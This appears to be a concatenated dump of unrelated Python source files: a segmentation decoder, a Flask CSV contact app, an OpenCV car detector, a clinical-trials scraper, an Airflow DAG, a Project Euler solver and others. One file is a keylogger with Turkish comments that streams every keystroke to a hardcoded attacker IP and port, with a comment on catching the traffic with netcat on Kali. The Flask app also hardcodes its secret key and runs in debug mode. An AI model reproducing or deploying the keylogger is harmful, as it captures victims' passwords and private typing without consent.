        out4=resize(self.deco4((outs[0]+outs[1]+outs[2])/3.0+outs[3]), size=(h, w),mode='bilinear',align_corners=False).unsqueeze(1)

        output=torch.cat([x,out1,out2,out3,out4],dim=1)   ## b*(k+k)*124*h*w

        if not self.training:
            # return output.squeeze(1)
            # return torch.cat([x2,x3],1).mean(1)
            return out4.squeeze(1)
            # return out4.squeeze(1)+(out3.squeeze(1)+out2.squeeze(1)+out1.squeeze(1))/3
            # return F.softmax(torch.cat([out1,out2,out3,out4],1),dim=2).sum(1)
            # return torch.cat([out1,out2,out3,out4],1).mean(1)

        return output

        # x2 = self.dropout(supp_feats)
        # x2 = self.linear_pred2(x2)
        # x2=resize(x2, size=(h, w),mode='bilinear',align_corners=False)
        # x2=x2.reshape(batch_size, (num_clips-1), -1, h,w)

        # _c3 = resize(_c, size=(h2,w2),mode='bilinear',align_corners=False)
        # _c3=_c3.reshape(batch_size, num_clips, -1, h2, w2)
        # _c_further2=supp_feats.reshape(batch_size, (num_clips-1), -1, h2,w2).mean(1)+_c3[:,-1]
        # x3 = self.dropout(_c_further2)
        # x3 = self.linear_pred2(x3)
        # x3=resize(x3, size=(h, w),mode='bilinear',align_corners=False)
        # x3=x3.reshape(batch_size, 1, -1, h, w)

        # x=torch.cat([x,x2,x3],1)   ## b*(k+k-1+1)*124*h*w

        # start_time3=time.time()
        # # print(start_time1-start_time, start_time11-start_time1, start_time2-start_time11, start_time3-start_time2)
        # # exit()

        # if not self.training:
        #     return x3.squeeze(1)
        #     # return torch.cat([x2,x3],1).mean(1)

        # return x

class small_decoder2(nn.Module):

    def __init__(self,
                 input_dim=256, hidden_dim=256, num_classes=124,dropout_ratio=0.1):
        super().__init__()
        self.hidden_dim=hidden_dim
        self.num_classes=num_classes

        self.smalldecoder=nn.Sequential(
            # ConvModule(in_channels=input_dim, out_channels=hidden_dim, kernel_size=3, padding=1, norm_cfg=dict(type='SyncBN', requires_grad=True)),
            # ConvModule(in_channels=hidden_dim, out_channels=hidden_dim, kernel_size=1, padding=1, norm_cfg=dict(type='SyncBN', requires_grad=True)),
            nn.Dropout2d(dropout_ratio),
            nn.Conv2d(hidden_dim, self.num_classes, kernel_size=1)
            )
        # self.dropout=

    def forward(self, input):

        output=self.smalldecoder(input)

        return output


from flask import Flask, render_template, request, redirect, url_for
from flask import session
import csv

app = Flask(__name__)
app.secret_key = b'bafe004cc8de79cc96482b95db2d75473a3aa855b3270350267ccc92bddd46c5'

@app.route('/', methods=['GET', 'POST'])
@app.route("/index", methods=['GET', 'POST'])
def index():
    with open("data.csv", "r", encoding="utf-8") as fichier_csv:
        data = list(csv.DictReader(fichier_csv, delimiter=";"))
    return render_template('index.html', data=data)

@app.route("/encode_mail", methods=['GET', 'POST'])
def encode_mail():
    if request.method == 'GET':
        return render_template('encode_mail.html')

    elif request.method == 'POST':
        session['first_name'] = request.form['first_name']
        session['last_name'] = request.form['last_name']
        session['email'] = request.form['email']
        new_id = None

        with open("data.csv", "r", encoding="utf-8", newline="") as fichier_csv:
            data = list(csv.DictReader(fichier_csv, delimiter=";"))
            new_id = len(data) + 1

        with open("data.csv", "a", encoding="utf-8", newline="") as fichier_csv:
            writer = csv.writer(fichier_csv, delimiter=';')
            line = [new_id, session['first_name'], session['last_name'], session['email']]
            writer.writerow(line)

        return redirect('/submitted')

@app.route('/submitted')
def submitted():
    return render_template('submitted.html',
                           first_name=session['first_name'],
                           last_name=session['last_name'],
                           redirect=url_for('index'),
                           delay=5000,
                           )

@app.route('/edit/<id>', methods=['GET', 'POST'])
def edit(id):
    if request.method == 'GET':
        line = []
        with open("data.csv", "r", encoding="utf-8", newline="") as fichier_csv:
            data = list(csv.DictReader(fichier_csv, delimiter=";"))

            # Rechercher une ligne par son ID et modifier son contenu
            for line in data:
                if line['id'] == id:
                    prenom = line['prenom']
                    nom =  line['nom']
                    email = line['email']

        return render_template('edit_mail.html',
                                prenom = prenom,
                                nom = nom,
                                email = email
                                )

    elif request.method == 'POST':
        session['first_name'] = request.form['first_name']
        session['last_name'] = request.form['last_name']
        session['email'] = request.form['email']
        data = []

        with open("data.csv", "r", encoding="utf-8", newline="") as fichier_csv:
            data = list(csv.DictReader(fichier_csv, delimiter=";"))

        # Rechercher une ligne par son ID et modifier son contenu
        for line in data:
            if line['id'] == id:
                line['prenom'] = session['first_name']
                line['nom'] = session['last_name']
                line['email'] = session['email']

        # Réécrire le fichier CSV avec les modifications
        with open('data.csv', mode='w', newline='') as file:
            fieldnames = ['id', 'prenom', 'nom', 'email']
            writer = csv.DictWriter(file, fieldnames=fieldnames, delimiter=";")
            writer.writeheader()
            writer.writerows(data)

        return redirect('/submitted')

@app.route('/delete/<id>', methods=['GET'])
def delete(id):
    data = []

    with open("data.csv", "r", encoding="utf-8", newline="") as fichier_csv:
        data = list(csv.DictReader(fichier_csv, delimiter=";"))

    # Search for the dictionary that contains the line to be deleted
    for line in data:
        if line['id'] == id:
            # Remove the dictionary from the list
            data.remove(line)

    # Write the modified list of dictionaries to the CSV file
    with open('data.csv', mode='w', newline='') as file:
        fieldnames = ['id', 'prenom', 'nom', 'email']
        writer = csv.DictWriter(file, fieldnames=fieldnames, delimiter=";")
        writer.writeheader()
        writer.writerows(data)

    return redirect('/')

if __name__ == '__main__':
	app.run(debug=True)


# -*- coding: utf-8 -*-
"""
Created on Mon Jan 30 00:31:06 2017

@author: Basu Chinivar
"""

import cv2
import numpy as np
cars_classifier = cv2.CascadeClassifier('haarcascade_car.xml')
cap = cv2.VideoCapture('cars.avi')

while cap.isOpened():
    ret , frame = cap.read()
    gray = cv2.cvtColor(frame , cv2.COLOR_BGR2GRAY)

    cars = cars_classifier.detectMultiScale(gray,1.3,3)

    for (x,y,h,w) in cars:
        cv2.rectangle(frame,(x,y),(x+h,y+w),(0,255,50),3)
        cv2.imshow("cars",frame)

    if cv2.waitKey(1) == 13:
        break

cap.release()
cv2.destroyAllWindows()

import cv2
import numpy
numpy.set_printoptions(threshold=numpy.nan)

k = numpy.arange(10)
train_labels = numpy.repeat(k,250)[:,numpy.newaxis]
print(train_labels)

Cascades for full body detection/car_detection.py


# Implement a function that satisfies the specification. Use a try-except block.
#
# ```python
# def getRatios(vect1, vect2):
# 	"""Assumes: vect1 and vect2 are lists of equal length of numbers
# 	Returns: a list containing the meaningful values of
# 	vect1[i]/vect2[i]"""
# ```

vect1 = [1,4,27,4,5]
vect2 = [1,2,3,0,5]
list1 = []
try:
    for i in range(0,len(vect1)):
        list1.append(vect1[i]/vect2[i])
        #print(list1)
except:
    print(list1)
    print("Divide by Zero")


#!/usr/bin/env python

# loads data from the following filfes
# ../data/albumData1.txt
# ../data/artistData1.txt
# ../data/genreData1.txt
# ../data/trackData1.txt
#
# trainIdx1.firstLines.txt, for training
# validationIdx1.firstLines.txt, for validation
# testIdx1.firstLines.txt, for testing

from models import *

# returns 3-tuple of objects, training, and validation
def load():
   # all objects and a list of associated objects (one-way)
   # a map of id -> associated ids (artists, genres, etc)
   objects = dict()

   # training ratings
   # a map of user id -> (map of item -> rating)
   training = dict()

   # validation ratings
   # a map of user id -> list of 2-tuples containing (item, rating)
   validation = dict()

   load_albums(objects)
   load_tracks(objects)

   load_full_ratings(training, "../data/trainIdx1.firstLines.txt")
   load_full_ratings(validation, "../data/validationIdx1.firstLines.txt")
   #load_full_ratings(training, "../data/trainIdx1.txt")
   #load_full_ratings(validation, "../data/validationIdx1.txt")

   return objects, training, validation

def load_albums(objects):
   # read the data file
   f = open("../data/albumData1.txt", "r")

   # process each line without loading the entire file into memory at once
   for line in f:
      # remove the ending newline
      line = line[:-1]

      # get id, artist, genres
      parts = line.split("|")
      id = parts[0]
      artist = parts[1]
      genres = parts[2:]

      # add the album id with genres
      objects[id] = map(int, genres)

      # add the artist, if it exists
      if artist != "None":
         objects[id].insert(0, int(artist))

   f.close()

def load_tracks(objects):
   # read the data file
   f = open("../data/trackData1.txt", "r")

   # process each line
   for line in f:
      # remove the ending newline
      line = line[:-1]

      # get id, album, artist, genres
      parts = line.split("|")
      id = parts[0]
      album = parts[1]
      artist = parts[2]
      genres = parts[3:]

      # add the track id with associated genres
      objects[id] = map(int, genres)

      # add associated artist, if it exists
      if artist != "None":
         objects[id].insert(0, int(artist))

      # add associated album, if it exists
      if album != "None":
         objects[id].insert(0, int(album))

   f.close()

def load_full_ratings(ratings, filename):
   # read the data file
   f = open(filename, "r")

   # current user being processed
   user = None

   # process each line
   for line in f:
      # remove newline
      line = line[:-1]

      if "|" in line:
         # new user
         parts = line.split("|")
         user = int(parts[0])
         ratings[user] = dict()
      else:
         # add to existing user
         parts = line.split("\t")
         item = int(parts[0])
         rating = int(parts[1])
         ratings[user][item] = rating

   f.close()

if __name__ == "__main__":
   load()


import os
os.getcwd()
os.chdir('/Users/nicholasdevito/Desktop/euctr_res_scrape')
os.getcwd()

from requests import get, ConnectionError
from bs4 import BeautifulSoup
import re
from time import time, sleep
import pandas as pd
from multiprocessing import Pool
from tqdm import tqdm

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

start_time = time()

def get_url(url):
    response = get(url, verify = False)
    html = response.content
    soup = BeautifulSoup(html, "html.parser")
    return soup

url = 'https://www.clinicaltrialsregister.eu/ctr-search/search?query=&resultsstatus=trials-with-results&page1'
soup = get_url(url)

#gets max page number
number_of_pages = soup.find('div', {'class': 'margin-bottom: 6px;'})
max_page_link = str(number_of_pages.find_all('a')[-1])
max_page = re.findall(r'\d+', max_page_link)[0]
print(f"max_page: {max_page}")

pages = list(range(1,int(max_page)+1))

#setting up variables for page URLs
euctr_base_url = 'https://www.clinicaltrialsregister.eu'
euctr_results_search_page = '/ctr-search/search?query=&resultsstatus=trials-with-results&page='

def try_to_connect(tries, url):
    for i in range(tries):
        try:
            page_html = get_url(url)
            break
        except ConnectionError:
            if i < tries - 1:
                print('Retrying {}...'.format(url))
                sleep(2)
                continue
            else:
                print('This URL failed: {url}')
                page_html = None
    return page_html

def get_trials(page):
    euctr_base_url = 'https://www.clinicaltrialsregister.eu'
    euctr_results_search_page = '/ctr-search/search?query=&resultsstatus=trials-with-results&page='

    #make the request
    page_html = try_to_connect(5, euctr_base_url + euctr_results_search_page + str(page))

    #get the tables
    trial_tables = page_html.find_all('table', {'class': 'result'})
    trial_info = []
    for trial_table in trial_tables:
        trial_id = trial_table.input.get('value')
        url = euctr_base_url + trial_table.find_all('a')[-1].get('href')
        trial_tuple = (trial_id, url)
        trial_info.append(trial_tuple)
    return trial_info

if __name__ == '__main__':
    with Pool() as p:
        trial_info = list(tqdm(p.imap(get_trials, pages), total=len(pages)))

tuples = list(trial_info)
tuples = [t for sublist in tuples for t in sublist]

print(f'There are {len(tuples)} trials')

def tds_strip(td_table, td):
    return td_table[td].div.get_text().strip()

def scrape_info(td_value, fp_n, cp_n, v_n):
    first_pub = tds_strip(td_value, fp_n)
    current_pub = tds_strip(td_value, cp_n)
    version = td_value[v_n].get_text().strip()
    return first_pub, current_pub, version

def get_results_info(tup):

    try:
        #make the request
        page_html = try_to_connect(5, tup[1])

        #select all the results tables
        leg_text = page_html.find('div', id = 'synopsisLegislationNote')
        leg_text = page_html.find('div', id = 'synopsisLegislationNote')
        try:
            trial_tables = page_html.find_all('table')[4]
        except IndexError:
            print(f'Error in trial {tup[0]}')
            r_dict = {}
            r_dict['trial_id'] = tup[0]
            r_dict['error'] = 'Error in Scrape'
            return r_dict
        td_value = trial_tables.find_all('td', class_ = 'valueColumn')
        td_label = trial_tables.find_all('td', class_ = 'labelColumn')

        r_dict = {}
        r_dict['trial_id'] = tup[0]
        r_dict['global_trial_end_date'] = tds_strip(td_value,3)

        if td_label[-1].div.get_text().strip() == 'Summary report(s)' and leg_text:
            fp, cp, v = scrape_info(td_value, 11, 10, 9)
            r_dict['first_pub_date'] = fp
            r_dict['current_pub_date'] = cp
            r_dict['version'] = v
            r_dict['results_type'] = 'Document'

        elif td_label[-1].div.get_text().strip() == 'Summary report(s)' and not leg_text:
            fp, cp, v = scrape_info(td_value, 7, 6, 5)
            r_dict['first_pub_date'] = fp
            r_dict['current_pub_date'] = cp
            r_dict['version'] = v
            r_dict['results_type'] = 'Mixed'

        else:
            fp, cp, v = scrape_info(td_value, 7, 6, 5)
            r_dict['first_pub_date'] = fp
            r_dict['current_pub_date'] = cp
            r_dict['version'] = v
            r_dict['results_type'] = 'Tabular'

        return r_dict
    except Exception as e:
        import sys
        raise type(e)(str(e) +
                   ' happens at {}'.format(tup[0])).with_traceback(sys.exc_info()[2])

if __name__ == '__main__':
    with Pool() as p:
        results = list(tqdm(p.imap(get_results_info, tuples), total=len(tuples)))

results = list(results)

if len(tuples) == len(results):
    print("All Scraped")
else:
    print("Error in Scrape: Difference of {} trials between first and second scrape".format(len(tuples) - len(results)))

results_df = pd.DataFrame(results)

#some data cleaning

cleaned = 0
for index, row in results_df.iterrows():
    if row.first_pub_date == 'No':
        results_df.at[index, 'first_pub_date'] = None
        results_df.at[index, 'current_pub_date'] = None
        results_df.at[index, 'version'] = None
        results_df.at[index, 'results_type'] = 'None Available'
        cleaned += 1

#dates to datetime
results_df['global_trial_end_date'] = pd.to_datetime(results_df['global_trial_end_date'])
results_df['first_pub_date'] = pd.to_datetime(results_df['first_pub_date'])
results_df['current_pub_date'] = pd.to_datetime(results_df['current_pub_date'])
print("Cleaned {} Rows".format(cleaned))

results_df.to_csv('euctr_results_scrape_mar.csv')

EUCTR (EU)/Results Section Scrape/EUCTR Results Scrape Multi.py


import pynput.keyboard
# klavye hareketlerini takip etmek icin kullanilan kutuphane
import socket
# iki bilgisayar arasinda baglanti kurmak icin kullanilan kutuphane

baglantim = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# baglantimizi tanimlayip icine kullanacagimiz protokolu ve socket tipini belirliyoruz
baglantim.connect(("192.168.0.106", 8080))
# atak bilgisayarinin ip adresini ve kullanacagimiz port u belirtiyoruz
baglantim.send("Baglanti Kuruldu ".encode("utf-8"))
# baglantinin calistigini anlamak icin bir mesaj gonderiyoruz

# girilen klavye hareketlerini baglanti uzerinden gonderen fonksiyon

def gonder(key):

    baglantim.send(str(key).encode())

# klavyeyi dinleyip her tusa basildiginda gonder fonksiyonunu calistirma icin asagidaki kodlari yaziyoruz
keylogger_dinleyici = pynput.keyboard.Listener(on_press=gonder)

with keylogger_dinleyici:

    keylogger_dinleyici.join()

# kali de 8080 portunda gelen baglantilari dinlemek icin terminale nc -l -p 8080 komutunu yazip kullanabilirsiniz.
#----------------------------ahmetfurkansonmez12@gmail.com-----------------------------


from datetime import timedelta
from airflow import DAG
from airflow.operators.python_operator import PythonOperator
from airflow.utils.dates import days_ago
from datetime import datetime
from app import run_news_etl

# Initializing  Default args
default_args = {
    'owner': 'airflow',
    'depends_on_past': False,
    # mention the start date of your DAG run
    'start_date': datetime(2023, 3, 26),
    'email': ['airflow@example.com'],
    'email_on_failure': False,
    'email_on_retry': False,
    'retries': 1,
    'retry_delay': timedelta(minutes=1)
}

# Defining the DAG
dag = DAG(
    'news_dag',
    default_args=default_args,
    description='Our first DAG with ETL process!',
    # edit the schedule interval to how frequently the DAG should create a DAG instance
    schedule_interval=timedelta(hours=1),
    # catchup set to False. When False, the scheduler creates a DAG run only for the latest interval.
    catchup=False
)

# Defining the task - a python callable. Here it the main function from app.py
run_etl = PythonOperator(
    task_id='complete_news_etl',
    python_callable=run_news_etl,
    dag=dag,
)
# invoking the task
run_etl


import os

# file = '/data/YOLOV5/VOCdevkit/small9/train.txt'
# with open(file, 'r') as f:
#     content = f.readlines()
#     print(len(content))

lst_jpg = os.listdir('/data/data/SJZ/CHM/CHM_4/CHM_s/train_data')
print(len(lst_jpg))
l=[]
for i in lst_jpg:
    if i.endswith('.jpg'):
        l.append(i)
print(len(l))


#!/usr/bin/env python2

from limiti import *
from sys import argv, exit, stderr
import os
from numpy.random import random, randint, seed as nseed
from random import choice, sample, shuffle, seed as rseed

usage="""Generatore di "prova".

Parametri:
* N
* TYPE (= 0: permutazione casuale. = 1: p ordinata in modo decrescente, = 2: p ordine crescente)
* S (seed)

Constraint:
* 1 <= N <= %d
""" % MAXN

def run(N, TYPE):
    perm = [randint(1, 100000) for x in range(0, N)]

    if TYPE!=0:
        perm.sort()
    if TYPE==1:
        perm = list(reversed(perm))

    print(' '.join(str(x) for x in perm))

if __name__ == "__main__":
    if not(len(argv) == 4 or len(argv) == 3 and argv[1] == "COPY"):
        print(usage)
        exit(1)

    if argv[1] == "COPY":
        with open(argv[2]) as f:
            print(f.read())
        exit(0)

    N, TYPE, S = map(int, argv[1:])
    assert 1 <= N <= MAXN
    assert 0 <= TYPE <= 2

    nseed(S)
    rseed(S)
    run(N, TYPE)


'''
    Caller(n) = S_{2n - 1}, Called(n) = S_{2n}, if Caller(n) = Called(n) then
    there is a misdial any pair of users X and Y are friend if X called Y or
    vice-versa a user Z is a friend of a friend of X if Z is friend of Y
    Author: Cody Lewis
    Since: 2018-08-29
'''

def lagged_fibonacci(k, fib_nums=[]):
    '''
        A lagged fibonacci generator function
    '''
    if len(fib_nums) < k:
        for i in range(len(fib_nums) + 1, k + 1):
            if i >= 1 and i <= 55:
                fib_nums.append((100003 - 200003 * i + 300007 * i**3)
                                % 1000000)
            elif i >= 56:
                fib_nums.append((fib_nums[i - 24] + fib_nums[i - 55])
                                % 1000000)
    return fib_nums[k - 1]

class DisSet():
    '''
        Disjoint set class
    '''
    def __init__(self):
        '''
            Initialize with the maximum number of nodes (determined by mod on
            LFG)
        '''
        self.nodes = [DisSet.Node() for i in range(1000000)]

    def friend(self, lhs, rhs):
        '''
            Assign lhs as a friend of rhs
        '''
        self.nodes[lhs].add(self.nodes[rhs])

    def find_size(self, num):
        '''
            Find connectedness size of the speified node number
        '''
        current = self.nodes[num]
        while current.parent != current:  # got to root node
            current = current.parent
        if self.nodes[num] != current:  # optimize path for future calls
            self.nodes[num].parent = current
        return current.size

    class Node():
        '''
            A node of the disjoint set
        '''
        def __init__(self):
            '''
                Initialize a node as connected to itself
            '''
            self.size = 1
            self.parent = self

        def add(self, other):
            '''
                Connect this node to another node
            '''
            this = self
            while this.parent != this:  # shorten path to parent
                this = this.parent
            if self.parent != this:
                self.parent = this
            og_other = other
            while other.parent != other:
                other = other.parent
            if og_other.parent != other:
                og_other.parent = other
            if this == other:  # stop random resets
                return
            other.parent = this
            this.size += other.size
            other.size = 0

PM_NUMBER = 524287  # constant for the number of the prime minister

def find_friends():
    '''
        Solves the Project Euler question 186
    '''
    fib_nums = []  # memoize the LF numbers
    users = DisSet()
    k = 1
    result = 0
    while users.find_size(PM_NUMBER) < 990000:
        caller = lagged_fibonacci(2 * k - 1, fib_nums)
        called = lagged_fibonacci(2 * k, fib_nums)
        if caller == called:  # no through call
            k += 1  # increment still, but not the answer
            continue
        users.friend(caller, called)
        result += 1
        k += 1
    return result

if __name__ == "__main__":
    print("Started calculating...")
    print("99% or more users are connected by friends with the PM at k = {}"
          .format(find_friends()))


from django.shortcuts import render
from django.http import HttpResponse
import json

# Create your views here.

def index(request,id):
    f = open('info/animals.json')
    data = json.load(f)
    context = {
                'family_name': data['families'][id]['name']}
    f.close()
    return render(request, 'index.html', context)

def anmls(request,id):
    f = open('info/animals.json')
    data = json.load(f)
    context = {
                'animals': data['animals'][id]['name'],
                'legs': data['animals'][id]['legs'],
                'weight': data['animals'][id]['weight'],
                'height': data['animals'][id]['height'],
                'speed': data['animals'][id]['speed'],
                'family': data['animals'][id]['family'],
                }
    f.close()
    return render(request, 'anmls.html', context)